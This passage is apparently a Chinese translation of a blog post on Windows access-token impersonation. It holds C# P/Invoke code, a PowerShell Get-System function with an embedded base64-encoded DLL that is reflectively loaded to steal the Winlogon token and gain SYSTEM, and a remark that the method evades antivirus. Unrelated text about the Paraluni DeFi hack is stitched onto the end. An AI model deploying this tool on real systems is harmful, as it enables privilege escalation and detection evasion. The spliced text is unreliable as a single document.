public static uint TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID;
[StructLayout(LayoutKind.Sequential)]
public struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public UInt32 Attributes;
public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001;
public const UInt32 SE_PRIVILEGE_ENABLED = 0x00000002;
public const UInt32 SE_PRIVILEGE_REMOVED = 0x00000004;
public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000;
}
// Luid Structure Definition
[StructLayout(LayoutKind.Sequential)]
public struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
public struct TOKEN_PRIVILEGES
{
public int PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = ANYSIZE_ARRAY)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
[StructLayout(LayoutKind.Sequential)]
public struct PRIVILEGE_SET
{
public uint PrivilegeCount;
public uint Control; // use PRIVILEGE_SET_ALL_NECESSARY
public static uint PRIVILEGE_SET_ALL_NECESSARY = 1;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privilege;
}
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
// LookupPrivilegeValue
[DllImport("advapi32.dll")]
static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
// OpenProcess
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId);
public static IntPtr OpenProcess(Process proc, ProcessAccessFlags flags)
{
return OpenProcess(flags, false, proc.Id);
}
// OpenProcessToken
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
// DuplicateToken
[DllImport("advapi32.dll")]
public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle);
// SetThreadToken
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken);
// AdjustTokenPrivileges
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool AdjustTokenPrivileges(IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)]bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState,
UInt32 BufferLengthInBytes,
ref TOKEN_PRIVILEGES PreviousState,
out UInt32 ReturnLengthInBytes);
// GetCurrentProcess
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool PrivilegeCheck(
IntPtr ClientToken,
ref PRIVILEGE_SET RequiredPrivileges,
out bool pfResult
);
// Now I will create functions that use the above definitions, so we can use them directly from PowerShell :P
public static bool IsPrivilegeEnabled(string Privilege)
{
bool ret;
LUID luid = new LUID();
IntPtr hProcess = GetCurrentProcess();
IntPtr hToken;
if (hProcess == IntPtr.Zero) return false;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, out hToken)) return false;
if (!LookupPrivilegeValue(null, Privilege, out luid)) return false;
PRIVILEGE_SET privs = new PRIVILEGE_SET { Privilege = new LUID_AND_ATTRIBUTES[1], Control = PRIVILEGE_SET.PRIVILEGE_SET_ALL_NECESSARY, PrivilegeCount = 1 };
privs.Privilege[0].Luid = luid;
privs.Privilege[0].Attributes = LUID_AND_ATTRIBUTES.SE_PRIVILEGE_ENABLED;
if (!PrivilegeCheck(hToken, ref privs, out ret)) return false;
return ret;
}
public static bool EnablePrivilege(string Privilege)
{
LUID luid = new LUID();
IntPtr hProcess = GetCurrentProcess();
IntPtr hToken;
if (!OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, out hToken)) return false;
if (!LookupPrivilegeValue(null, Privilege, out luid)) return false;
// First, a LUID_AND_ATTRIBUTES structure that points to Enable a privilege.
LUID_AND_ATTRIBUTES luAttr = new LUID_AND_ATTRIBUTES { Luid = luid, Attributes = LUID_AND_ATTRIBUTES.SE_PRIVILEGE_ENABLED };
// Now we create a TOKEN_PRIVILEGES structure with our modifications
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES { PrivilegeCount = 1, Privileges = new LUID_AND_ATTRIBUTES[1] };
tp.Privileges[0] = luAttr;
TOKEN_PRIVILEGES oldState = new TOKEN_PRIVILEGES(); // Our old state.
if (!AdjustTokenPrivileges(hToken, false, ref tp, (UInt32)Marshal.SizeOf(tp), ref oldState, out UInt32 returnLength)) return false;
return true;
}
public static bool ImpersonateProcessToken(int pid)
{
IntPtr hProcess = OpenProcess(ProcessAccessFlags.QueryInformation, true, pid);
if (hProcess == IntPtr.Zero) return false;
IntPtr hToken;
if (!OpenProcessToken(hProcess, TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out hToken)) return false;
IntPtr DuplicatedToken = new IntPtr();
if (!DuplicateToken(hToken, 2, ref DuplicatedToken)) return false;
if (!SetThreadToken(IntPtr.Zero, DuplicatedToken)) return false;
return true;
}
}
}
代码虽然很多，但这足以模拟SYSTEM并检查和启用权限。
使用`Visual Studio`或`CSC.exe`编译器（甚至是Powershell中的`Add-Type`）编译上述代码可以获取`.DLL`文件。
## 重要提示
我不会在这里描述太多细节。其在编程上较为有技术性，可能你不能全部明白，但是你必须了解如下一点：
要使用此方式，您需要生成一个`PowerShell shell`，其中`ApartmentState`设置为`STA`(Single Thread
Apartment)。默认情况下，当生成PowerShell进程时，它会将它的`ApartmentState`设置为MTA(Multi Thread
Apartment)，这将使我们的方法失败。
要在`STA`模式下生成Powershell进程，只需向其添加`-sta`标志。
C:> powershell.exe -sta
要在PowerShell中检查当前的`ApartmentState`，请使用以下命令：
PS C:\> [Threading.Thread]::CurrentThread.GetApartmentState()
STA
如果上面的输出是`MTA`，那么肯定是你没有使用`-sta`标志生成的`powershell shell`。
## C＃DLL映射
使用此DLL文件，您可以使用此技术将其映射到内存中。
PS C:\> [System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\\ImpersonationTokenDLL.dll"))
GAC Version Location
--- ------- -------- False v4.0.30319
这会将所有DLL代码加载到我当前的PowerShell会话中，允许访问在`C#`中编码的所有内容。
您可以通过尝试使用`PowerShell shell`中的以下内容访问`zc00l.ImpersonationToken`类来检查它：
PS C:\> [zc00l.ImpersonationToken]
IsPublic IsSerial Name BaseType
-------- -------- ---- -------- True False ImpersonationToken System.Object
然后，也可以检查是否可以访问我们的DLL公共静态函数！
PS C:\> [zc00l.ImpersonationToken]::IsPrivilegeEnabled
OverloadDefinitions
------------------- static bool IsPrivilegeEnabled(string Privilege)
PS C:\> [zc00l.ImpersonationToken]::EnablePrivilege
OverloadDefinitions
------------------- static bool EnablePrivilege(string Privilege)
PS C:\> [zc00l.ImpersonationToken]::ImpersonateProcessToken
OverloadDefinitions
------------------- static bool ImpersonateProcessToken(int pid)
## 使用Impersonation Tokens获取系统
SYSTEM用户是Windows系统中最强大的用户。对于渗透测试人员来说，在测试期间如何成为这个用户是非常有意思的。
将我们的DLL注入内存中，我们可以获取`WinLogon.exe`令牌（这是SYSTEM拥有的进程而不是"受保护"进程）来复制它并将其模拟到我们当前的PowerShell线程中。
成功！我们变成了system权限
## 启用Windows权限
即使您是本地管理员，也无法启用每个权限。现在我们是SYSTEM，所有Windows权限都可以在我们当前的线程中启用。
如果要使用我们的DLL来启用权限，您可以使用
[zc00l.ImpersonationToken]::EnablePrivilege("PrivilegeNameHere")
可以看到`SeIncreaseQuotaPrivilege`已禁用。要启用它，只需输入：
[zc00l.ImpersonationToken]::EnablePrivilege("SeIncreaseQuotaPrivilege")
## PowerShell Again
我们已经成功使用了`C#
Reflection`。但是这样比较繁琐，所以我们可以使用PowerShell等脚本语言实现自动化。因此我们编写了一个PowerShell脚本来自动执行此过程并更有效地获得SYSTEM权限！
function Get-System
{
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA')
{
Write-Output "This powershell shell is not in STA mode!";
return ;
}
if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
[Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGTDJOgAAAAAAAAAAOAAIiALATAAABYAAAAGAAAAAAAAtjQAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGE0AABPAAAAAEAAANgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAACoMwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAvBQAAAAgAAAAFgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAANgDAAAAQAAAAAQAAAAYAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAHAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACVNAAAAAAAAEgAAAACAAUAhCMAACQQAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAwATAAAAAQAAEQADFgJvEAAACigCAAAGCisABioAEzADANAAAAACAAARABIB/hUEAAACKAgAAAYMCH4RAAAKKBIAAAoTBREFLAgWEwY4pQAAAAh+CQAABBIDKAQAAAYW/gETBxEHLAgWEwY4hwAAABQCEgEoAQAABhb+ARMIEQgsBRYTBitwEgn+FQYAAAISCReNAwAAAn0eAAAEEgl+HQAABH0cAAAEEgkXfRsAAAQRCRMEEQR7HgAABBaPAwAAAgd9EQAABBEEex4AAAQWjwMAAAIYfRIAAAQJEgQSACgJAAAGFv4BEwoRCiwFFhMGKwUGEwYrABEGKhMwBgDGAAAAAwAAEQASAP4VBAAAAigIAAAGCwd+CQAABH4LAAAEYBICKAQAAAYW/gETBxEHLAgWEwg4kAAAABQCEgAoAQAABhb+ARMJEQksBRYTCCt5Egr+FQMAAAISCgZ9EQAABBIKGH0SAAAEEQoNEgv+FQUAAAISCxd9GQAABBILF40DAAACfRoAAAQRCxMEEQR7GgAABBYJpAMAAAISBf4VBQAAAggWEgQRBCgBAAArEgUSBigHAAAGFv4BEwwRDCwFFhMIKwUXEwgrABEIKgAAEzADAIMAAAAEAAARACAABAAAFwIoAgAABgoGfhEAAAooEgAACg0JLAUWEwQrXgZ+CAAABH4HAAAEYBIBKAQAAAYW/gETBREFLAUWEwQrPRIC/hUVAAABBxgSAigFAAAGFv4BEwYRBiwFFhMEKx5+EQAACggoBgAABhb+ARMHEQcsBRYTBCsFFxMEKwARBCoiAigUAAAKACoTMAIAtgAAAAAAAAAgAAQAAIACAAAEGIADAAAEIAAADwCABAAABCAAAAIAgAUAAAQXgAYAAAQYgAcAAAQagAgAAAQegAkAAAQfEIAKAAAEHyCACwAABB9AgAwAAAQggAAAAIANAAAEIAABAACADgAABH4FAAAEfgkAAARggA8AAAR+BAAABH4GAAAEYH4HAAAEYH4IAAAEYH4JAAAEYH4KAAAEYH4LAAAEYH4MAAAEYH4NAAAEYH4OAAAEYIAQAAAEKh4XgB0AAAQqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAADQBQAAI34AADwGAAC8BwAAI1N0cmluZ3MAAAAA+A0AAAQAAAAjVVMA/A0AABAAAAAjR1VJRAAAAAwOAAAYAgAAI0Jsb2IAAAAAAAAAAgAAAVc9AhQJCgAAAPoBMwAWAAABAAAAFgAAAAcAAAAsAAAADwAAAB4AAAAUAAAAEgAAAA8AAAAFAAAABAAAAAIAAAAIAAAAAQAAAAIAAAAFAAAAAQAAAAAANgUBAAAAAAAGAC4EfQYGAJsEfQYGAFMDSwYPAJ0GAAAGAHsDIAYGAAIEIAYGAOMDIAYGAIIEIAYGAE4EIAYGAGcEIAYGAJIDIAYGAGcDXgYGAEUDXgYGAMYDIAYGAK0D4QQGAH4HWAUKAHYHSwYGAAcDWAUGAB8EWAUGAF8FWAUGAEQGWAUGABAFXgYAAAAAAQAAAAAAAQABAAEAEACJBQoFQQABAAEACgEQADQBAABJABEADwAKARAAhAAAAEkAFwAPAAoBEAALAQAASQAZAA8ACgEQAIoBAABJABsADwACAQAAHQcAAFEAHwAQAFGAzQHCABYA8QDFABYAKgDFABYAPwDFABYAFQDFABYA2wHFABYAnADFABYArADFABYADALFABYAiQDFABYAHAHFABYASAHFABYAmAHFABYAbQDFABYACgDFABYAXAHFAAYAgALIAAYA6gbFAFaArQHFAFaAKgDFAFaAWADFAFaAbQHFAAYApgfFAAYAnQfCAAYAjgfCAAYQ3wbMAAYAjgfFAAYAUAXFABYA8AHFAAYQiwLMAAYGGALFAFaAGAXRAFaAEQPRAFaAWgLRAFaACQbRAFaASALRAFaAMgPRAFaAlQLRAFaAUgfRAFaAIALRAFaA6QXRAFaA+AXRAFaA0QXRAFaAzgTRAAAAAACAAJEguQTVAAEAAAAAAIAAliBgB94ABABQIAAAAACWAGAH5gAHAAAAAACAAJEgtAXuAAkAAAAAAIAAliBzBfYADQAAAAAAgACRIGQFNgAQAAAAAACAAJEg1Ab+ABIAAAAAAIAAkSBsBw0BGQAAAAAAgACWIPsEEQEZAHAgAAAAAJYAZwIbARwATCEAAAAAlgCFAhsBHQAgIgAAAACWAJwFIAEeAK8iAAAAAIYYNwYGAB8AuCIAAAAAkRg9BiUBHwB6IwAAAACRGD0GJQEfAAAAAQDzAgAAAgAAAwIAAwB+AgAAAQBEBwAAAgDkAgAAAwA+AgAAAQAyAgAAAgAwBwAgAAAAAAAAAQDWAgAAAgA2BwIAAwDCAgAAAQC6AgAAAgC+AAAAAwClAgAAAQDOAgAAAgCCBQAgAAAAAAAAAQDCAgAgAgC/BgAAAwApAwAABAAJBwAABQAbAwIABgD1BgAAAQDFBQAAAgCsBgIAAwCFBwAAAQCLAgAAAQCLAgAAAQB6AgkANwYBABEANwYGABkANwYKACkANwYQADEANwYQADkANwYQAEEANwYQAEkANwYQAFEANwYQAFkANwYQAGEANwYVAGkANwYQAHEANwYQAHkANwYQAJkANwYGAIkANwIeAKkAMgYzAKkArgc2ALEA2gRSAIEANwYGAAgABAByAAkATAByAAkAUAB3AAkAVAB8AAkAWACBAAkAgACGAAkAhAByAAkAiAB3AAkAjACLAAkAkACQAAkAlACVAAkAmACaAAkAnACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV4aXN0aW5nVG9rZW5IYW5kbGUAcEhhbmRsZQBQcm9jZXNzSGFuZGxlAGJJbmhlcml0SGFuZGxlAGxwU3lzdGVtTmFtZQBscE5hbWUAVmFsdWVUeXBlAFRlcm1pbmF0ZQBQcmV2aW91c1N0YXRlAE5ld1N0YXRlAFZpcnR1YWxNZW1vcnlXcml0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBMb29rdXBQcml2aWxlZ2VWYWx1ZQBTeW5jaHJvbml6ZQBTaXplT2YAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQcml2aWxlZ2VDaGVjawB6YzAwbABNYXJzaGFsAEFsbABhZHZhcGkzMi5kbGwAa2VybmVsMzIuZGxsAEltcGVyc29uYXRpb25Ub2tlbkRMTC5kbGwAQ29udHJvbABTeXN0ZW0ARW51bQBTZXRUaHJlYWRUb2tlbgBEdXBsaWNhdGVUb2tlbgBoVG9rZW4ASW1wZXJzb25hdGlvblRva2VuAEltcGVyc29uYXRlUHJvY2Vzc1Rva2VuAE9wZW5Qcm9jZXNzVG9rZW4AQ2xpZW50VG9rZW4AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU2V0SW5mb3JtYXRpb24AUXVlcnlJbmZvcm1hdGlvbgBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAFplcm8ALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAUmVxdWlyZWRQcml2aWxlZ2VzAERpc2FibGVBbGxQcml2aWxlZ2VzAEFkanVzdFRva2VuUHJpdmlsZWdlcwBBdHRyaWJ1dGVzAFJldHVybkxlbmd0aEluQnl0ZXMAQnVmZmVyTGVuZ3RoSW5CeXRlcwBQcm9jZXNzQWNjZXNzRmxhZ3MAZmxhZ3MARGVzaXJlZEFjY2VzcwBwcm9jZXNzQWNjZXNzAENyZWF0ZVByb2Nlc3MAT3BlblByb2Nlc3MAR2V0Q3VycmVudFByb2Nlc3MAT2JqZWN0AHBmUmVzdWx0AFByaXZpbGVnZUNvdW50AEhpZ2hQYXJ0AExvd1BhcnQAb3BfRXF1YWxpdHkAAAAAAAAANMB5wx4YykSS6Z0DEn72xgAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQECAwcBGAMgAAgQBwsCERAYGBEYAgICAhEYAgIGGAUAAgIYGBUHDREQGBgRDBEUERQJAgICEQwRFAIGEAEBCB4ABAoBERQKBwgYGBgCAgICAgi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQAAACABP8PHwAECAAAAAQQAAAABCAAAAAEQAAAAASAAAAABAABAAAEAAIAAAQABAAABAAQAAAEAAAQAAIeAQECAgYIAgYJAwYREAQGHREMAwYRHAgAAwIODhAREAcAAxgRHAIIBwACGBJFERwHAAMCGAkQGAcAAwIYCBAYDgAGAhgCEBEUCRARFBAJAwAAGAkAAwIYEBEYEAIEAAECDgQAAQIIAwAAAQgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQAHAQAAAAAaAQAVSW1wZXJzb25hdGlvblRva2VuRExMAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE4AAApAQAkZDUzNGM1NTgtNDNjYy00ZGEyLWE3NTUtMDYyMTM1ZDA2NzE4AAAMAQAHMS4wLjAuMAAATQEAHC5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC41LjIBAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lFC5ORVQgRnJhbWV3b3JrIDQuNS4yAAAAAP9SNtQAAAAAAgAAAIEAAADgMwAA4BUAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTtwWwQJTNz0WcHiOfEy1IZwEAAABDOlxVc2Vyc1xhbmRyZVxzb3VyY2VccmVwb3NcVG9rZW5JbXBlcnNvbmF0aW9uXEltcGVyc29uYXRpb25Ub2tlbkRMTFxvYmpcRGVidWdcSW1wZXJzb25hdGlvblRva2VuRExMLnBkYgCJNAAAAAAAAAAAAACjNAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlTQAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWEAAAHwDAAAAAAAAAAAAAHwDNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsATcAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAAC4AgAAAQAwADAAMAAwADAANABiADAAAAAaAAEAAQBDAG8AbQBtAGUAbgB0AHMAAAAAAAAAIgABAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAAAAAAAAVAAWAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AVABvAGsAZQBuAEQATABMAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAAVAAaAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuAFQAbwBrAGUAbgBEAEwATAAuAGQAbABsAAAASAASAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAAIAAyADAAMQA4AAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAAAABcABoAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgBUAG8AawBlAG4ARABMAEwALgBkAGwAbAAAAEwAFgABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgBUAG8AawBlAG4ARABMAEwAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAAuDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
Write-Output "DLL has been reflected."
}
if(-not [zc00l.ImpersonationToken]::ImpersonateProcessToken((Get-Process Winlogon).Id))
{
Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?";
return;
}
Write-Output "We are: $([Environment]::Username)"
}
通过`STA powershell`以本地管理员身份执行此操作，您将拥有SYSTEM权限。
## 后记
我希望你喜欢这种方法，它可以用于易被反病毒技术或是工具检测到的场景，因为这（直到我发布它的那一刻）是自定义代码，可能很少（或没有）有解决方案是能够检测到它的。
原文地址：https://0x00-0x00.github.io/research/2018/10/21/Windows-API-And-Impersonation-Part-2.html | 社区文章 |
# Paraluni攻击事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 事件背景
PARALUNI(平行宇宙)是新加坡Parallel
Universe基金会发布的一个基于币安智能链的匿名项目，它重新定义了Defi2.0，以构建元宇宙的金融和经济体系为使命，致力于建立一个无法作恶、公平且自治、普通人都能参与的Def生态。同时Paraluni也为各大前端想构建元宇宙应用场景的企业提供开放接口，任何人都可以借助Paraluni构建自己的元宇宙经济体系。
零时科技区块链安全情报平台监控到消息，北京时间2022年3月13日，Paraluni称遭到黑客攻击，并呼吁投资者将Paraluni投资的全部本金赎回，零时科技安全团队及时对此安全事件进行分析。
